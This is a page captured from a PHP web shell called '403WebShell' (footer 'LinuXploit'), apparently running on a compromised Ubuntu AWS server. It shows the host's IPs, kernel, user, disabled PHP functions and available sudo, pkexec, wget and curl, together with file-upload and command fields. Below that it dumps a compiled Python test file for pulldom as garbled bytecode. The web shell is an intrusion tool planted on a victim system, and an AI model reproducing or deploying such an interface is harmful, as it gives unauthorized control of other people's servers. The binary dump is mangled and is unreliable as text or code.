Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_pulldom.cpython-310.pyc
o

�9j�2�@s�ddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZeddd�Zd	Z
Gd
d�dej�ZGdd
�d
ej�ZGdd�de�ZGdd�de�ZGdd�de	j�ZGdd�dej�Zedkrje��dSdS)�N)�AttributesImpl)�feature_external_ges)�pulldom)�findfileztest.xml�xmltestdata)�subdira
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xdc="http://www.xml.com/books">
<!-- A comment -->
<title>Introduction to XSL</title>
<hr/>
<p><xdc:author xdc:attrib="prefixed attribute" attrib="other attrib">A. Namespace</xdc:author></p>
</html>c@sPeZdZdd�Zdd�Zdd�Zejdd��Zejd	d
��Z	dd�Z
d
d�ZdS)�PullDOMTestCasecCs^t�t�}|�|jj�t|�ttd��}tt�|��Wd�dS1s(wYdS)z&Minimal test of DOMEventStream.parse()�rbN)r�parse�tstfile�
addCleanup�stream�close�list�open)�self�handler�fin�r�(/usr/lib/python3.10/test/test_pulldom.py�
test_parses
"�zPullDOMTestCase.test_parsecCs�t�t�}t|�\}}|�t|d��|�tj|�t|�\}}|�tj|�|�d|j	�|�dt
|j��|�|j�d�j
d�t|�\}}|�tj|�t|�\}}|�tj|�t|�\}}|�d|j	�|}t|�\}}|�tj|�|�d|j�t|�\}}|�tj|�|�d|j	�|�||u�t|�\}}|�tj|�t|�\}}|�tj|�|�d|j	�t|�\}}|�tj|�|�d|j	�t|�\}}|�tj|�t|�\}}|�tj|�|�d	|j	�t|�\}}|�tj|�|�d
|j	�t|�\}}|�tj|�t|�\}}|�tj|�|�d
|j	�t|�\}}|�tj|�t|�\}}|�tj|�t|�\}}|�tj|�dS)z&Test DOMEventStream parsing semantics.�
createElement�html�z	xmlns:xdczhttp://www.xml.com/books�titlezIntroduction to XSL�hr�pz
xdc:authorN)r�parseString�SMALL_SAMPLE�next�
assertTrue�hasattr�assertEqual�START_DOCUMENT�
START_ELEMENT�tagName�len�
attributes�getNamedItem�value�
CHARACTERS�data�END_ELEMENT)r�items�evt�node�
title_noderrr�test_parse_semantics+sh
�z$PullDOMTestCase.test_parse_semanticscCs>t�t�}|D]\}}|tjkr%|jdkr%|�|�|�dt|j��nq|�	d�|D]\}}|tjkr8nq-|�d|jd�|�|�|�t
|�dtj�t
|�\}}|�|jd�|�|�t
|�t
|�\}}|�|jd�|�t
��t
|�Wd	�n1s�wY|��|�|j�|�|j�d	S)
z$Ensure expandItem works as expected.r�z,No "title" element detected in SMALL_SAMPLE!rz=expandNode did not leave DOMEventStream in the correct state.rrrN)rrrr$r%�
expandNoder"r&�
childNodes�failrr*�assertRaises�
StopIteration�clear�assertIsNone�parserr
)rr-r.�itemr/rrr�test_expandItemis:

�

�
�


�zPullDOMTestCase.test_expandItemcCs6t�t�}|D]\}}|tjkrdSq|�d�dS)z*PullDOM does not receive "comment" events.zNo comment was encounteredN)rrr�COMMENTr5)rr-r.�_rrr�test_comment�s

�zPullDOMTestCase.test_commentcCspt�t�}|D]\}}|tjkr|jdkrnqzt|�\}}|�tj|�WdSty7|�	d�YdSw)z/PullDOM does not receive "end-document" events.rz8Ran out of events, but should have received END_DOCUMENTN)
rrrr,r%rr"�END_DOCUMENTr7r5)rr-r.r/rrr�test_end_document�s
�
��z!PullDOMTestCase.test_end_documentcCsRt�t�}|�td��|�|ddtj�Wd�dS1s"wYdS)NzUse iterator protocol instead���r)rrr�assertWarnsRegex�DeprecationWarningr"r#)rr:rrr�test_getitem_deprecation�s
�"�z(PullDOMTestCase.test_getitem_deprecationcCs*t�t�}|j}|�t�}|�|d�dS)NF)rrrr:�
getFeaturerr")rr:�	saxparser�gesrrr�test_external_ges_default�s

z)PullDOMTestCase.test_external_ges_defaultN)�__name__�
__module__�__qualname__rr1r<�unittest�expectedFailurer?rArErIrrrrrs> 
	
rc@s8eZdZdZdd�Zejdd��Zdd�Zdd	d
�Z	dS)
�ThoroughTestCasez(Test the hard-to-reach parts of pulldom.cCs|�tjdt�d��dS)z0Test some of the hard-to-reach parts of PullDOM.N)r:)�_test_thoroughrr
�SAXExerciser�rrrr�test_thorough_parse�sz$ThoroughTestCase.test_thorough_parsecCstdt�d�}|�|�dS)z2SAX2DOM can"t handle a PI before the root element.N�)�SAX2DOMTestHelperrQrP�r�pdrrr�test_sax2dom_fail�sz"ThoroughTestCase.test_sax2dom_failcCstdt�d�}|�|d�dS)z0Test some of the hard-to-reach parts of SAX2DOM.NrTF)rU�SAX2DOMExerciserrPrVrrr�test_thorough_sax2dom�sz&ThoroughTestCase.test_thorough_sax2domTcCs�t|�\}}|�tj|�|�t|d��|rFt|�\}}|�tj|�|�d|j�t|�\}}|�tj|�|�d|j	�|�d|j�t|�\}}|�tj
|�|�d|j�t|�\}}|�tj|�|�d|j�t|�\}}|�tj|�|�d|j	�|�d|j�t|�\}}|�tj
|�|�d|j�t|�\}}|�tj|�|�d|j�t|�\}}|�tj
|�|�d|j�t|�\}}|�tj
|�|�d|j�t|�\}}|�tj|�dS)	zPTest some of the hard-to-reach parts of the parser, using a mock
        parser.r�	a comment�targetr+rr�textN)rr"rr#r r!r=r+�PROCESSING_INSTRUCTIONr\r$r%r*r,r@)rrW�before_rootr.r/rrrrP�sFzThoroughTestCase._test_thoroughN)T)
rJrKrL�__doc__rSrMrNrXrZrPrrrrrO�s
rOc@s0eZdZdZdd�Zdd�Zdd�ZeZeZdS)	rQznA fake sax parser that calls some of the harder-to-reach sax methods to
    ensure it emits the correct eventscCs
||_dS�N)�_handler)rrrrr�setContentHandler�s
zSAXExerciser.setContentHandlercCs�|j}|��|�d�|�dd�|�dti��|�d�|�dd�|�dtddi��|�d�|�d�|�d�|��dS)	Nr[r\r+rr�class�	paraclassr])	rb�
startDocument�comment�processingInstruction�startElementr�
characters�
endElement�endDocument�rr>�hrrrr
�s




zSAXExerciser.parsecOsdS)zStub method. Does nothing.Nr)r�args�kwargsrrr�stub
szSAXExerciser.stubN)	rJrKrLr`rcr
rq�setProperty�
setFeaturerrrrrQ�srQc@�eZdZdZdd�ZdS)rYz�The same as SAXExerciser, but without the processing instruction and
    comment before the root element, because S2D can"t handle itcCsr|j}|��|�dti��|�d�|�dd�|�dtddi��|�d�|�d�|�d�|��dS)	Nrr[r\r+rrdrer])	rbrfrirrgrhrjrkrlrmrrrr
s



zSAX2DOMExerciser.parseN)rJrKrLr`r
rrrrrYsrYc@rt)rUz1Allows us to drive SAX2DOM from a DOMEventStream.cCs0t��|_|j�tjjjd�|j�|j�dS)Nr2)	r�SAX2DOMr:rs�xml�saxr�feature_namespacesrcrRrrr�reset(s
zSAX2DOMTestHelper.resetN)rJrKrLr`ryrrrrrU%srUc@s&eZdZd	dd�Zdd�Zdd�ZdS)
�SAX2DOMTestCase�TestcCs|�||�dSra)r )r�test�testnamerrr�confirm1szSAX2DOMTestCase.confirmcCs~t�t��0}t|tj��tt��}|D]\}}|tj	kr#|j
dkr#nq|�t|j�d�Wd�dS1s8wYdS)z'Ensure SAX2DOM can parse from a stream.rrN)
�io�StringIOrrUrvrw�make_parserr&rr$r%�
assertGreaterr4)rr�sdr.r/rrr�
test_basic4s��"�zSAX2DOMTestCase.test_basiccCs>t��}|��|�di�|�d�|�di�|�d�|�d�|�d�|�d�|��|j}|j}|j	\}}}|j	d}|�
|j�|�|j
|�|�|j|�|�|j
|�|�|j|�|�
|j
�|�
|j�|�
|j
�|�|j|�|�|j|�|�|j|�|�|j|�|�|j|�|��dS)z)Ensure SAX2DOM expands nodes as expected.�docr]�subelmrN)rrurfrirjrkrl�document�documentElementr4r9�previousSibling�assertIs�nextSibling�
parentNode�unlink)r�sax2domr��root�text1�elm1�text2�text3rrr�testSAX2DOM@s8





zSAX2DOMTestCase.testSAX2DOMN)r{)rJrKrLr~r�r�rrrrrz/s
rz�__main__)rrM�xml.saxrv�xml.sax.xmlreaderr�xml.sax.handlerr�xml.domr�test.supportrrr�TestCaserrO�objectrQrY�DOMEventStreamrUrzrJ�mainrrrr�<module>s&	A"
4�

Youez - 2016 - github.com/yon3zu
LinuXploit